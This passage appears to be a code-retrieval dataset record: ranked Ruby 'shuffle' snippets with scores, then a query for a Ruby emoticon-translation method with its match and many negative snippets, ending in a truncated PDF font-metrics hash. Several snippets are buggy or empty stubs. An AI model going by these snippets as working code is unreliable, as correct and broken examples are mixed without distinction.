4\r\n\t\tend\r\n\r\n\t\t# replace the original array with the new, smaller\r\n\t\t# array\r\n\r\n\t\tarr = new_arr\r\n\t\t# arr = [1,2,3,4]\r\n\tend\r\n\r\n\tshuf\r\nend", "def shuffle\n\n\tlength = length\n\tcounter = 0\n\n\t\twhile length > 1\n\t\t\tresult = counter + rand(length)\n\t\t\tself[counter], self[result] = self[result], self[counter]\n\t\t\tcounter += 1\n\t\tend\n\nend", "def recursive_shuffle(sorted_array, shuffled_array)\n if sorted_array == []\n puts shuffled_array\n else\n index = rand(sorted_array.length)\n shuffled_array.push sorted_array[index]\n sorted_array.delete_at(index)\n recursive_shuffle sorted_array, shuffled_array\n end\nend", "def shuffle!()\n\t\treplace(shuffle)\n\tend", "def shuffle(array)\n array_new = [] \n #cont = 0\n\n while array_new.count != array.count\n rand_num = rand(array.last)\n rand_num = rand_num + 1\n array_new << rand_num unless array_new.include?(rand_num)\n #cont = cont + 1\n end\n array_new\nend", "def shuffle\n @main = @all.shuffle(random: RNG)\n @discard = []\n end", "def test_shuffle\n ary = [3,1,4,1,5,9]\n shuffled_ary = OneLiner.shuffle(ary)\n assert_not_equal ary, shuffled_ary\n assert_equal ary.sort, shuffled_ary.sort\n end", "def shuffle\n @cards.replace @cards.sort_by {rand}\n end", "def shuffle\n @deck.sort_by{rand}\n end", "def shuffler(a)\n a.flatten.shuffle.each_slice(2).to_a\nend", "def inplace_shuffle(arr)\n max_index = arr.length - 1\n arr.each_with_index do |num, idx|\n swap_index = (rand(max_index - idx + 1)) + idx\n arr[idx], arr[swap_index] = arr[swap_index], arr[idx]\n end\n return arr\nend", "def shuffle!\n @rep.shuffle!\n end", "def shuffle # You can't use .shuffle!\n\n end", "def shuffle!\n @cards = self.cards.sort_by { rand }\n end", "def shuffle(cards)\n cards.size.times do \n rand1, rand2, rand3 = get_rand(cards.size-1)\n temp = cards[rand1]\n cards[rand1] = cards[rand2]\n cards[rand2] = cards[rand3]\n cards[rand3] = temp\n end\n cards\n end", "def shuffle\n @cards.shuffle!\n end", "def shuffle\r\n @cards.shuffle!\r\n end", "def shuffle\n dup.shuffle!\n end", "def generate_collection(array)\n array =[]\n 50.times do |n|\n array << n + 1\n end\n return array.shuffle\nend", "def shuffle()\n \n end", "def test_shuffle\n ary = [3,1,4,1,5,9]\n shuffled_ary = OneLiner.shuffle(ary)\n assert_not_equal ary, shuffled_ary\n assert_equal ary.sort, shuffled_ary.sort\n end", "def shuffle\n self.dup.shuffle!\n end", "def shuffle\n @cards.shuffle!\n end", "def shuffle(answer)\n puts \"Here is the array shuffled\"\n puts answer.shuffle\nend", "def shuffle_without_hooks!( random_number_generator = nil )\n\n @without_hooks = true\n\n shuffle!( random_number_generator )\n \n @without_hooks = false\n\n return self\n\n end", "def shuffle\r\n @deck_of_cards.shuffle!\r\n end", "def random_select(array, n)\nrandom = []\n n.times do\n random << array.sample\n array.shuffle\nend\nrandom \nend", "def shuffle\n @cards.shuffle! \n end", "def shuffle!\n cards.shuffle!\n end", "def randomize(students)\n students.shuffle!\nend", "def rand_from_array(array)\n array[(array.size*rand).floor]\n end", "def shuffle\n\t\tif @shouldShuffle\n\t\t\t(0..@deck.length-1).each do |i|\n\t\t\t\tj = rand(i..@deck.length-1)\n\t\t\t\ttemp = @deck[j]\n\t\t\t\t@deck[j] = @deck[i]\n\t\t\t\t@deck[i] = temp\n\t\t\tend\n\t\tend\n\tend", "def shuffle!\n size.downto(1) { |n| push delete_at(rand(n)) }\n self\nend", "def shuffle!()\n shuffled = self.sort_by { rand }\n\n # TODO: better way to modify self?\n shuffled.each_with_index do |i, elt|\n print i\n self[i] = elt\n end\n end", "def shuffle\n i = self.clone\n l = i.length - 1\n i.each_index do |j|\n k = rand_range(j..l)\n i.swap!(j,k)\n end\n return i\n end", "def sample(array)\n array[rand_int(array.length)]\n end", "def shuffle( init, method = :fisher_yates )\r\n srand( init )\r\n self.send( method.id2name + \"_shuffle\", @deck )\r\n end", "def remix(ingredient_arrays)\n \n mixers = []\n \n ingredient_arrays.each do |array|\n mixers << array[1]\n end\n \n ingredient_arrays.each do |array|\n idx = rand(mixers.length)\n array[1] = mixers[idx]\n mixers.delete_at(idx)\n end\n \n return ingredient_arrays\n \nend", "def shuffle\r\n @pack.shuffle!\r\n end", "def shuffle!(png = Random.new) \n @cards.shuffle!(random: png)\n end", "def shuffle_function1(game, index)\n r = Math.tan(game.seed + index / game.seed - index) - Math.sin(game.seed / index) + 336 * Math.sin(8 * index)\n n = r - r.floor\n (10 * n).floor\nend", "def tcboo_shuffle_combatants(combatants)\n combatants.shuffle\n end", "def shuffle( random_number_generator = nil )\n\n load_parent_state\n \n return super\n \n end", "def randRemove(array)\n array.delete array.sample\nend", "def random(array)\n array[rand(array.length)]\nend", "def random(array)\n array[rand(array.length)]\nend", "def shuffle!\n @deck.shuffle!\n end", "def shuffle!\n @deck.shuffle!\n end", "def shuffle\n\t\t@cards.shuffle\n\tend", "def shuffle(cards)\n shuffled = []\n\n while (cards.any?) do \n shuffled << cards.delete(cards.sample)\n end\n\n return shuffled\nend", "def fisher_yates_shuffle(a, count, &oneach)\n (a.size-1).downto(1) { |i|\n j = rand(i+1)\n a[i], a[j] = a[j], a[i] if i != j\n yield(a[i])\n count-=1\n return if count==0\n }\n yield(a[0])\nend", "def should_shuffle?\n true\n end", "def music_shuffle filenames\n recursive_music_shuffle filenames, [] #calls other method and passes in arr as the unshuffled_arr\n #passes in [] as the shuffled_arr\nend", "def shuffleCards!()\n\t\t@cards.shuffle!\n\tend", "def shuffle\n @ole.Shuffle\n end" ]
[ "0.82818013", "0.8206815", "0.8096721", "0.8096119", "0.7900061", "0.7900061", "0.78506154", "0.7743308", "0.76755786", "0.7656548", "0.75886804", "0.7502277", "0.7492258", "0.746042", "0.7459064", "0.7440705", "0.74078643", "0.7343142", "0.7316552", "0.7254793", "0.7252766", "0.72103417", "0.7172441", "0.7170977", "0.71609753", "0.7117797", "0.7116102", "0.7103925", "0.71011853", "0.7061206", "0.7046947", "0.70295584", "0.7022395", "0.69924074", "0.6967675", "0.69450045", "0.6893994", "0.6893607", "0.6862686", "0.6859004", "0.6854175", "0.67860067", "0.6780528", "0.6722027", "0.6717132", "0.67034024", "0.6679897", "0.6677025", "0.6661708", "0.6647017", "0.659767", "0.6590241", "0.6588188", "0.65724134", "0.6565273", "0.65353745", "0.6503482", "0.6491457", "0.6483984", "0.6472685", "0.64284015", "0.6423462", "0.6414979", "0.64107335", "0.6400716", "0.63934046", "0.6387914", "0.63809353", "0.6368485", "0.6361822", "0.63613886", "0.6358645", "0.6353165", "0.6353075", "0.6350335", "0.634136", "0.6339568", "0.6336518", "0.63346654", "0.6321675", "0.6314723", "0.62930226", "0.62907946", "0.62873584", "0.627858", "0.6277254", "0.62647474", "0.6234263", "0.62284034", "0.62135774", "0.62135774", "0.62111807", "0.62111807", "0.61836886", "0.617989", "0.61654705", "0.6138057", "0.61319464", "0.6113016", "0.61090285" ]
0.738536
17
binding.pry def get_japanese_emoticon(file_path, emoticon) library = load_library(file_path) end
def get_japanese_emoticon(file_path,emoticon) library = load_library(file_path) library.each do |key, value| if value[:english] == emoticon return value[:japanese] end end return "Sorry, that emoticon was not found" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_japanese_emoticon(file_path, emoticon)\n load_library(file_path).each do |emotion, char_hash|\n # binding.pry\n # returns the Japanese equivalent of an English grinning\n # i am given \":)\" in emoticon argument, which is found in get_emoticon\n char_hash.each do |original, translation|\n if original == emoticon\n return translation\n end\n end\n # binding.pry\n end\n\n if load_library(file_path).include?(emoticon) == false\n \"Sorry, that emoticon was not found\"\n end\nend", "def get_japanese_emoticon(file_path, emoticon)\n if !converted_emoticon = load_library(file_path)[\"get_emoticon\"][emoticon]\n return \"Sorry, that emoticon was not found\"\n end\n converted_emoticon\nend", "def get_japanese_emoticon(file_path, emoticon)\n emoji_library = load_library(file_path)\n emoji_equivalent = emoji_library[\"get_emoticon\"][emoticon]\n return \"Sorry, that emoticon was not found\" if emoji_equivalent.nil?\n emoji_equivalent\nend", "def get_japanese_emoticon(file_name, emote)\n emoticons = load_library(file_name)\n if emoticons[\"get_emoticon\"][emote]\n return emoticons[\"get_emoticon\"][emote]\n else\n return \"Sorry, that emoticon was not found\"\n end\nend", "def get_japanese_emoticon(emoji_file,emoticon)\n # code goes here\n \n emoji_hash = load_library(emoji_file)\n emoji_hash.each do |key, value|\n #binding.pry\n if value[:english] == emoticon\n return value[:japanese]\n end\n end\n return \"Sorry, that emoticon was not found\"\nend", "def get_japanese_emoticon(file, emoticon_input)\n \n emoticons = load_library(file)\n emoticons.each do |key, value|\n if emoticon_input == emoticons[key][:english]\n #binding.pry\n return emoticons[key][:japanese]\n end\n end\n return \"Sorry, that emoticon was not found\"\n \nend", "def get_japanese_emoticon(yml_path, emoticon)\n library = load_library(yml_path)\n emoticon = library.keys.find do |key|\n library[key][:english] == emoticon\n end\n emoticon ? library[emoticon][:japanese] : \"Sorry, that emoticon was not found\"\nend", "def get_english_meaning(file_path, emoticon_symbol)\n library = load_library(file_path)\n \n result = library.keys.find do |expression|\n library[expression][:japanese] == emoticon_symbol\n end \n \n if result != nil\n result\n else \n \"Sorry, that emoticon was not found\"\n # binding.pry\n end\nend", "def get_japanese_emoticon(path, emoticon)\n # load the data into a hash\n data = load_library(path)\n # Loop through all the data\n data.each do |key, value|\n #if there is a match for the english emoticon then return the japanese variant\n if value[:english] == emoticon\n return value[:japanese]\n end\n end\n # if the emoticon is not found a sorry message is returned\n return \"Sorry, that emoticon was not found\"\nend", "def load_library(file_name)\n #set up emoticons hash\n emoticons = {\"get_meaning\" => {}, \"get_emoticon\" => {}}\n #load library into variable\n library = YAML.load_file(file_name)\n #seperate keys and values into get meaning and get emoticon\n library.each do |key, value|\n #get hash with western emote pointing to japanese emote\n emoticons[\"get_emoticon\"][library[key][0]] = library[key][1]\n #get hash with emotes pointing to meanings\n value.each do |emote|\n emoticons[\"get_meaning\"][emote] = key\n end\n end\n pp emoticons\n return emoticons\nend", "def get_japanese_emoticon(yaml_file, eng_emoticon)\n translation = \"\"\n new_hash = load_library(yaml_file)\n new_hash.each do |name, languages|\n if languages[:english] == eng_emoticon \n translation = languages[:japanese]\n end\n end\n if translation == \"\"\n return \"Sorry, that emoticon was not found\"\n else\n return translation\n end\nend", "def get_english_meaning(file, emoticon_input)\n emoticons = load_library(file)\n emoticons.each do |key, value|\n if emoticon_input == emoticons[key][:japanese]\n #binding.pry\n return key\n end\n end\n return\"Sorry, that emoticon was not found\"\nend", "def load_library(file_path)\n emoji_sheet = YAML.load_file(file_path)\n japanese_meaning = {}\n western_to_japanese = {}\n emoji_sheet.each do |meaning, emojis|\n japanese_meaning[emojis.last] = meaning\n western_to_japanese[emojis.first] = emojis.last\n end\n hash = {\"get_emoticon\" => western_to_japanese, \"get_meaning\" => japanese_meaning}\nend", "def load_library(file_path)\n emoticons_hash = YAML.load_file(file_path)\n emoticons_hash.each_with_object({}){|(outer_key,outer_value), new_hash|\n new_hash[outer_key] = {english: outer_value[0], japanese: outer_value[1]}\n }\nend", "def get_english_meaning(path, symbol)\n each_emoticon = load_library(path)\n \n each_emoticon.each do |name, value|\n \n if each_emoticon[name][:japanese] == symbol\n return name\n end \n \n end\n \n \"Sorry, that emoticon was not found\"\nend", "def get_english_meaning(file_path, emoticon)\n emoji_library = load_library(file_path)\n emoji_equivalent = emoji_library[\"get_meaning\"][emoticon]\n return \"Sorry, that emoticon was not found\" if emoji_equivalent.nil?\n emoji_equivalent\nend", "def load_library(path)\n emoticons = YAML.load_file(path)\n emoticon_hash = Hash.new\n\n emoticon_hash[\"get_emoticon\"] = Hash.new\n emoticon_hash[\"get_meaning\"] = Hash.new\n\n emoticons.each do |key, value|\n emoticon_hash[\"get_emoticon\"][value.first] = value.last\n # binding.pry\n emoticon_hash[\"get_meaning\"][value.last] = key\n end\n emoticon_hash\nend", "def get_english_meaning(file_path, emoticon)\n library = load_library(file_path)\n return_value = library[\"get_meaning\"][emoticon]\n return_value ? return_value : \"Sorry, that emoticon was not found\"\nend", "def get_english_meaning(path, emoticon)\n new_hash = load_library(path)\n new_hash.each do |meaning, value|\n \n if value [:japanese] == emoticon\n return meaning\n end\nend\nreturn \"Sorry, that emoticon was not found\"\nend", "def load_library(file_path)\n library = YAML.load_file('./lib/emoticons.yml')\n result = {}\n library.each do |meaning, emoticons|\n result[meaning] = {}\n english = emoticons[0]\n japanese = emoticons[1]\n result[meaning][:english] = english\n result[meaning][:japanese] = japanese\n end\n result\nend", "def get_english_meaning(file_name, emote)\n emoticons = load_library(file_name)\n if emoticons[\"get_emoticon\"][emote]\n return emoticons[\"get_emoticon\"][emote]\n else\n return \"Sorry, that emoticon was not found\"\n end\nend", "def load_library(file_path)\n library = {\"get_meaning\" => {}, \"get_emoticon\" => {} }\n YAML.load_file(file_path).each do |meaning, array|\n english, japanese = array\n library[\"get_emoticon\"][english] = japanese\n library[\"get_meaning\"][japanese] = meaning\n end\n library\nend", "def load_library(file)\n emoticon = YAML.load_file('./lib/emoticons.yml')\ncontainer = {}\n emoticon.each do |meaning,emoticon|\n container[meaning] = {}\n container[meaning][:english] = emoticon[0]\n container[meaning][:japanese] = emoticon[1]\n end\n container\nend", "def load_library(file_path)\n loadme = YAML.load_file(file_path)\n translatorhash = {get_meaning: {}, get_emoticon: {}}\n loadme.each_key do |k|\n translatorhash[:get_meaning][loadme[k][1]] = k\n end\n loadme.each_key do |k|\n translatorhash[:get_emoticon][loadme[k][0]] = loadme[k][1]\n end\n translatorhash\nend", "def load_library(path)\n #set a hash with get_meaning, get_emoticon as keys, empty hash for value\n emoticons = {\"get_meaning\" => {}, \"get_emoticon\" => {}}\n #load the YAML file. It has meaning(angel, angry,..) as key and the symbol as value(describe)\n YAML.load_file(path).each do |meaning, describe|\n #set eng, jan from describe, so eng would be the first value, jan the second\n eng, jan = describe\n emoticons[\"get_meaning\"][jan] = meaning\n emoticons[\"get_emoticon\"][eng] = jan\n\n end\n emoticons\nend", "def get_english_meaning(path, emoticon)\n # Load the data\n data = load_library(path)\n # Loops across the data to see if it matches any japenese or english emoticon\n data.each do |key, value|\n if value[:japanese] == emoticon || value[:english] == emoticon\n # returns the name or meaning\n return key\n end\n end\n # if the emoticon is not found a sorry message is returned ``\n return \"Sorry, that emoticon was not found\"\nend", "def load_library(file_path)\n # code goes here\n new_hash = {\n \"get_meaning\" => {},\n \"get_emoticon\" => {}\n }\n emo_hash = YAML.load_file(file_path)\n emo_hash.each do |meaning, emoticons|\n new_hash[\"get_meaning\"][emoticons[1]] = meaning\n new_hash[\"get_emoticon\"][emoticons[0]] = emoticons[1]\n end\n new_hash\nend", "def load_library(file_destination)\n emoticon_raw = YAML.load_file(file_destination)\n\n emoticon_format = {\"get_meaning\" => {}, \"get_emoticon\" => {}}\n\n emoticon_raw.each do |meaning, emoticons|\n emoticon_format[\"get_meaning\"] = emoticon_format[\"get_meaning\"].merge({emoticons[1] => meaning})\n emoticon_format[\"get_emoticon\"] = emoticon_format[\"get_emoticon\"].merge({emoticons[0] => emoticons[1]})\n end\n\n emoticon_format\nend", "def load_library(path)\n # code goes here\n data = YAML.load_file(path)\n \n YAML.dump(\"foo\")\n { :a => 'b'}.to_yaml\n #data.map do |english, japanese|\n # binding.pry\n #end\n binding.pry\nend", "def load_library(path)\n data = YAML.load_file(path)\n # maps the data to their proper language despcriptions\n data.map do |key, value|\n data[key] = { english: value[0], japanese: value[1] }\n end\n data\nend", "def load_library(file_path)\n # code goes here\n #library is a hash of array\n #the task here is to convert the array to a hash with two key value pairs\n library = YAML.load_file(file_path)\n new_library={}\n #access in to the array\n library.each{|english_name, emoticons|\n new_library[english_name] = {}\n new_library[english_name][:english] = emoticons[0] \n new_library[english_name][:japanese] = emoticons[1] \n}\nnew_library\nend", "def indirect_artsy\n puts \"Congratulations! Your feminist icons are Maya Angelou and Dianne Von Fustenburg!\"\nend", "def load_library\n raise NotImplementedError, \"loading extension libraries is not implemented\"\n end", "def filepath\n File.join(JapaneseNames.root, 'bin/enamdict.min')\n end", "def stub_recognized_text\n FileUtils.mkdir(\"/b\")\n File.open(\"/b/b_000001m.tif\", \"w\") do |f|\n f.puts(\"hohoho\")\n end\n Nyudl::Text::Base.new('/b', 'b')\n end", "def font_path(source, options = T.unsafe(nil)); end", "def emoji; end", "def display_emoji_break\n emoji = $EMOJIS.sample\n print \"#{emoji} \" * 15\n print \" #{path_clip} \"\n puts \"#{emoji} \" * 15\nend", "def lookup_debug_asset(path, options = T.unsafe(nil)); end", "def lookup_debug_asset(path, options = T.unsafe(nil)); end", "def initiate_library\n # do nothing if the library is already initiated\n return false if FONTS_LIBRARY.key? :Helvetica\n # font metrics objects to be used\n times_metrics = { \"\\u0000\" => { wx: 250, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 333, boundingbox: [130, -9, 238, 676] }, '\"' => { wx: 408, boundingbox: [77, 431, 331, 676] }, '#' => { wx: 500, boundingbox: [5, 0, 496, 662] }, '$' => { wx: 500, boundingbox: [44, -87, 457, 727] }, '%' => { wx: 833, boundingbox: [61, -13, 772, 676] }, '&' => { wx: 778, boundingbox: [42, -13, 750, 676] }, \"'\" => { wx: 333, boundingbox: [79, 433, 218, 676] }, '(' => { wx: 333, boundingbox: [48, -177, 304, 676] }, ')' => { wx: 333, boundingbox: [29, -177, 285, 676] }, '*' => { wx: 500, boundingbox: [69, 265, 432, 676] }, '+' => { wx: 564, boundingbox: [30, 0, 534, 506] }, ',' => { wx: 250, boundingbox: [56, -141, 195, 102] }, '-' => { wx: 333, boundingbox: [39, 194, 285, 257] }, '.' => { wx: 250, boundingbox: [70, -11, 181, 100] }, '/' => { wx: 278, boundingbox: [-9, -14, 287, 676] }, '0' => { wx: 500, boundingbox: [24, -14, 476, 676] }, '1' => { wx: 500, boundingbox: [111, 0, 394, 676] }, '2' => { wx: 500, boundingbox: [30, 0, 475, 676] }, '3' => { wx: 500, boundingbox: [43, -14, 431, 676] }, '4' => { wx: 500, boundingbox: [12, 0, 472, 676] }, '5' => { wx: 500, boundingbox: [32, -14, 438, 688] }, '6' => { wx: 500, boundingbox: [34, -14, 468, 684] }, '7' => { wx: 500, boundingbox: [20, -8, 449, 662] }, '8' => { wx: 500, boundingbox: [56, -14, 445, 676] }, '9' => { wx: 500, boundingbox: [30, -22, 459, 676] }, ':' => { wx: 278, boundingbox: [81, -11, 192, 459] }, ';' => { wx: 278, boundingbox: [80, -141, 219, 459] }, '<' => { wx: 564, boundingbox: [28, -8, 536, 514] }, '=' => { wx: 564, boundingbox: [30, 120, 534, 386] }, '>' => { wx: 564, boundingbox: [28, -8, 536, 514] }, '?' => { wx: 444, boundingbox: [68, -8, 414, 676] }, '@' => { wx: 921, boundingbox: [116, -14, 809, 676] }, 'A' => { wx: 722, boundingbox: [15, 0, 706, 674] }, 'B' => { wx: 667, boundingbox: [17, 0, 593, 662] }, 'C' => { wx: 667, boundingbox: [28, -14, 633, 676] }, 'D' => { wx: 722, boundingbox: [16, 0, 685, 662] }, 'E' => { wx: 611, boundingbox: [12, 0, 597, 662] }, 'F' => { wx: 556, boundingbox: [12, 0, 546, 662] }, 'G' => { wx: 722, boundingbox: [32, -14, 709, 676] }, 'H' => { wx: 722, boundingbox: [19, 0, 702, 662] }, 'I' => { wx: 333, boundingbox: [18, 0, 315, 662] }, 'J' => { wx: 389, boundingbox: [10, -14, 370, 662] }, 'K' => { wx: 722, boundingbox: [34, 0, 723, 662] }, 'L' => { wx: 611, boundingbox: [12, 0, 598, 662] }, 'M' => { wx: 889, boundingbox: [12, 0, 863, 662] }, 'N' => { wx: 722, boundingbox: [12, -11, 707, 662] }, 'O' => { wx: 722, boundingbox: [34, -14, 688, 676] }, 'P' => { wx: 556, boundingbox: [16, 0, 542, 662] }, 'Q' => { wx: 722, boundingbox: [34, -178, 701, 676] }, 'R' => { wx: 667, boundingbox: [17, 0, 659, 662] }, 'S' => { wx: 556, boundingbox: [42, -14, 491, 676] }, 'T' => { wx: 611, boundingbox: [17, 0, 593, 662] }, 'U' => { wx: 722, boundingbox: [14, -14, 705, 662] }, 'V' => { wx: 722, boundingbox: [16, -11, 697, 662] }, 'W' => { wx: 944, boundingbox: [5, -11, 932, 662] }, 'X' => { wx: 722, boundingbox: [10, 0, 704, 662] }, 'Y' => { wx: 722, boundingbox: [22, 0, 703, 662] }, 'Z' => { wx: 611, boundingbox: [9, 0, 597, 662] }, '[' => { wx: 333, boundingbox: [88, -156, 299, 662] }, '\\\\' => { wx: 278, boundingbox: [-9, -14, 287, 676] }, ']' => { wx: 333, boundingbox: [34, -156, 245, 662] }, '^' => { wx: 469, boundingbox: [24, 297, 446, 662] }, '_' => { wx: 500, boundingbox: [0, -125, 500, -75] }, '`' => { wx: 333, boundingbox: [115, 433, 254, 676] }, 'a' => { wx: 444, boundingbox: [37, -10, 442, 460] }, 'b' => { wx: 500, boundingbox: [3, -10, 468, 683] }, 'c' => { wx: 444, boundingbox: [25, -10, 412, 460] }, 'd' => { wx: 500, boundingbox: [27, -10, 491, 683] }, 'e' => { wx: 444, boundingbox: [25, -10, 424, 460] }, 'f' => { wx: 333, boundingbox: [20, 0, 383, 683] }, 'g' => { wx: 500, boundingbox: [28, -218, 470, 460] }, 'h' => { wx: 500, boundingbox: [9, 0, 487, 683] }, 'i' => { wx: 278, boundingbox: [16, 0, 253, 683] }, 'j' => { wx: 278, boundingbox: [-70, -218, 194, 683] }, 'k' => { wx: 500, boundingbox: [7, 0, 505, 683] }, 'l' => { wx: 278, boundingbox: [19, 0, 257, 683] }, 'm' => { wx: 778, boundingbox: [16, 0, 775, 460] }, 'n' => { wx: 500, boundingbox: [16, 0, 485, 460] }, 'o' => { wx: 500, boundingbox: [29, -10, 470, 460] }, 'p' => { wx: 500, boundingbox: [5, -217, 470, 460] }, 'q' => { wx: 500, boundingbox: [24, -217, 488, 460] }, 'r' => { wx: 333, boundingbox: [5, 0, 335, 460] }, 's' => { wx: 389, boundingbox: [51, -10, 348, 460] }, 't' => { wx: 278, boundingbox: [13, -10, 279, 579] }, 'u' => { wx: 500, boundingbox: [9, -10, 479, 450] }, 'v' => { wx: 500, boundingbox: [19, -14, 477, 450] }, 'w' => { wx: 722, boundingbox: [21, -14, 694, 450] }, 'x' => { wx: 500, boundingbox: [17, 0, 479, 450] }, 'y' => { wx: 500, boundingbox: [14, -218, 475, 450] }, 'z' => { wx: 444, boundingbox: [27, 0, 418, 450] }, '{' => { wx: 480, boundingbox: [100, -181, 350, 680] }, '|' => { wx: 200, boundingbox: [67, -218, 133, 782] }, '}' => { wx: 480, boundingbox: [130, -181, 380, 680] }, '~' => { wx: 541, boundingbox: [40, 183, 502, 323] }, \"\\u00A1\" => { wx: 333, boundingbox: [97, -218, 205, 467] }, \"\\u00A2\" => { wx: 500, boundingbox: [53, -138, 448, 579] }, \"\\u00A3\" => { wx: 500, boundingbox: [12, -8, 490, 676] }, \"\\u00A4\" => { wx: 167, boundingbox: [-168, -14, 331, 676] }, \"\\u00A5\" => { wx: 500, boundingbox: [-53, 0, 512, 662] }, \"\\u00A6\" => { wx: 500, boundingbox: [7, -189, 490, 676] }, \"\\u00A7\" => { wx: 500, boundingbox: [70, -148, 426, 676] }, \"\\u00A8\" => { wx: 500, boundingbox: [-22, 58, 522, 602] }, \"\\u00A9\" => { wx: 180, boundingbox: [48, 431, 133, 676] }, \"\\u00AA\" => { wx: 444, boundingbox: [43, 433, 414, 676] }, \"\\u00AB\" => { wx: 500, boundingbox: [42, 33, 456, 416] }, \"\\u00AC\" => { wx: 333, boundingbox: [63, 33, 285, 416] }, \"\\u00AD\" => { wx: 333, boundingbox: [48, 33, 270, 416] }, \"\\u00AE\" => { wx: 556, boundingbox: [31, 0, 521, 683] }, \"\\u00AF\" => { wx: 556, boundingbox: [32, 0, 521, 683] }, \"\\u00B1\" => { wx: 500, boundingbox: [0, 201, 500, 250] }, \"\\u00B2\" => { wx: 500, boundingbox: [59, -149, 442, 676] }, \"\\u00B3\" => { wx: 500, boundingbox: [58, -153, 442, 676] }, \"\\u00B4\" => { wx: 250, boundingbox: [70, 199, 181, 310] }, \"\\u00B6\" => { wx: 453, boundingbox: [-22, -154, 450, 662] }, \"\\u00B7\" => { wx: 350, boundingbox: [40, 196, 310, 466] }, \"\\u00B8\" => { wx: 333, boundingbox: [79, -141, 218, 102] }, \"\\u00B9\" => { wx: 444, boundingbox: [45, -141, 416, 102] }, \"\\u00BA\" => { wx: 444, boundingbox: [30, 433, 401, 676] }, \"\\u00BB\" => { wx: 500, boundingbox: [44, 33, 458, 416] }, \"\\u00BC\" => { wx: 1000, boundingbox: [111, -11, 888, 100] }, \"\\u00BD\" => { wx: 1000, boundingbox: [7, -19, 994, 706] }, \"\\u00BF\" => { wx: 444, boundingbox: [30, -218, 376, 466] }, \"\\u00C1\" => { wx: 333, boundingbox: [19, 507, 242, 678] }, \"\\u00C2\" => { wx: 333, boundingbox: [93, 507, 317, 678] }, \"\\u00C3\" => { wx: 333, boundingbox: [11, 507, 322, 674] }, \"\\u00C4\" => { wx: 333, boundingbox: [1, 532, 331, 638] }, \"\\u00C5\" => { wx: 333, boundingbox: [11, 547, 322, 601] }, \"\\u00C6\" => { wx: 333, boundingbox: [26, 507, 307, 664] }, \"\\u00C7\" => { wx: 333, boundingbox: [118, 581, 216, 681] }, \"\\u00C8\" => { wx: 333, boundingbox: [18, 581, 315, 681] }, \"\\u00CA\" => { wx: 333, boundingbox: [67, 512, 266, 711] }, \"\\u00CB\" => { wx: 333, boundingbox: [52, -215, 261, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [-3, 507, 377, 678] }, \"\\u00CE\" => { wx: 333, boundingbox: [62, -165, 243, 0] }, \"\\u00CF\" => { wx: 333, boundingbox: [11, 507, 322, 674] }, \"\\u00D0\" => { wx: 1000, boundingbox: [0, 201, 1000, 250] }, \"\\u00E1\" => { wx: 889, boundingbox: [0, 0, 863, 662] }, \"\\u00E3\" => { wx: 276, boundingbox: [4, 394, 270, 676] }, \"\\u00E8\" => { wx: 611, boundingbox: [12, 0, 598, 662] }, \"\\u00E9\" => { wx: 722, boundingbox: [34, -80, 688, 734] }, \"\\u00EA\" => { wx: 889, boundingbox: [30, -6, 885, 668] }, \"\\u00EB\" => { wx: 310, boundingbox: [6, 394, 304, 676] }, \"\\u00F1\" => { wx: 667, boundingbox: [38, -10, 632, 460] }, \"\\u00F5\" => { wx: 278, boundingbox: [16, 0, 253, 460] }, \"\\u00F8\" => { wx: 278, boundingbox: [19, 0, 259, 683] }, \"\\u00F9\" => { wx: 500, boundingbox: [29, -112, 470, 551] }, \"\\u00FA\" => { wx: 722, boundingbox: [30, -10, 690, 460] }, \"\\u00FB\" => { wx: 500, boundingbox: [12, -9, 468, 683] }, \"\\xFF\" => { wx: 500, boundingbox: [0, 0, 0, 0] } }\n times_bold_metrics = { ' ' => { wx: 250, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 333, boundingbox: [81, -13, 251, 691] }, '\"' => { wx: 555, boundingbox: [83, 404, 472, 691] }, '#' => { wx: 500, boundingbox: [4, 0, 496, 700] }, '$' => { wx: 500, boundingbox: [29, -99, 472, 750] }, '%' => { wx: 1000, boundingbox: [124, -14, 877, 692] }, '&' => { wx: 833, boundingbox: [62, -16, 787, 691] }, \"'\" => { wx: 333, boundingbox: [79, 356, 263, 691] }, '(' => { wx: 333, boundingbox: [46, -168, 306, 694] }, ')' => { wx: 333, boundingbox: [27, -168, 287, 694] }, '*' => { wx: 500, boundingbox: [56, 255, 447, 691] }, '+' => { wx: 570, boundingbox: [33, 0, 537, 506] }, ',' => { wx: 250, boundingbox: [39, -180, 223, 155] }, '-' => { wx: 333, boundingbox: [44, 171, 287, 287] }, '.' => { wx: 250, boundingbox: [41, -13, 210, 156] }, '/' => { wx: 278, boundingbox: [-24, -19, 302, 691] }, '0' => { wx: 500, boundingbox: [24, -13, 476, 688] }, '1' => { wx: 500, boundingbox: [65, 0, 442, 688] }, '2' => { wx: 500, boundingbox: [17, 0, 478, 688] }, '3' => { wx: 500, boundingbox: [16, -14, 468, 688] }, '4' => { wx: 500, boundingbox: [19, 0, 475, 688] }, '5' => { wx: 500, boundingbox: [22, -8, 470, 676] }, '6' => { wx: 500, boundingbox: [28, -13, 475, 688] }, '7' => { wx: 500, boundingbox: [17, 0, 477, 676] }, '8' => { wx: 500, boundingbox: [28, -13, 472, 688] }, '9' => { wx: 500, boundingbox: [26, -13, 473, 688] }, ':' => { wx: 333, boundingbox: [82, -13, 251, 472] }, ';' => { wx: 333, boundingbox: [82, -180, 266, 472] }, '<' => { wx: 570, boundingbox: [31, -8, 539, 514] }, '=' => { wx: 570, boundingbox: [33, 107, 537, 399] }, '>' => { wx: 570, boundingbox: [31, -8, 539, 514] }, '?' => { wx: 500, boundingbox: [57, -13, 445, 689] }, '@' => { wx: 930, boundingbox: [108, -19, 822, 691] }, 'A' => { wx: 722, boundingbox: [9, 0, 689, 690] }, 'B' => { wx: 667, boundingbox: [16, 0, 619, 676] }, 'C' => { wx: 722, boundingbox: [49, -19, 687, 691] }, 'D' => { wx: 722, boundingbox: [14, 0, 690, 676] }, 'E' => { wx: 667, boundingbox: [16, 0, 641, 676] }, 'F' => { wx: 611, boundingbox: [16, 0, 583, 676] }, 'G' => { wx: 778, boundingbox: [37, -19, 755, 691] }, 'H' => { wx: 778, boundingbox: [21, 0, 759, 676] }, 'I' => { wx: 389, boundingbox: [20, 0, 370, 676] }, 'J' => { wx: 500, boundingbox: [3, -96, 479, 676] }, 'K' => { wx: 778, boundingbox: [30, 0, 769, 676] }, 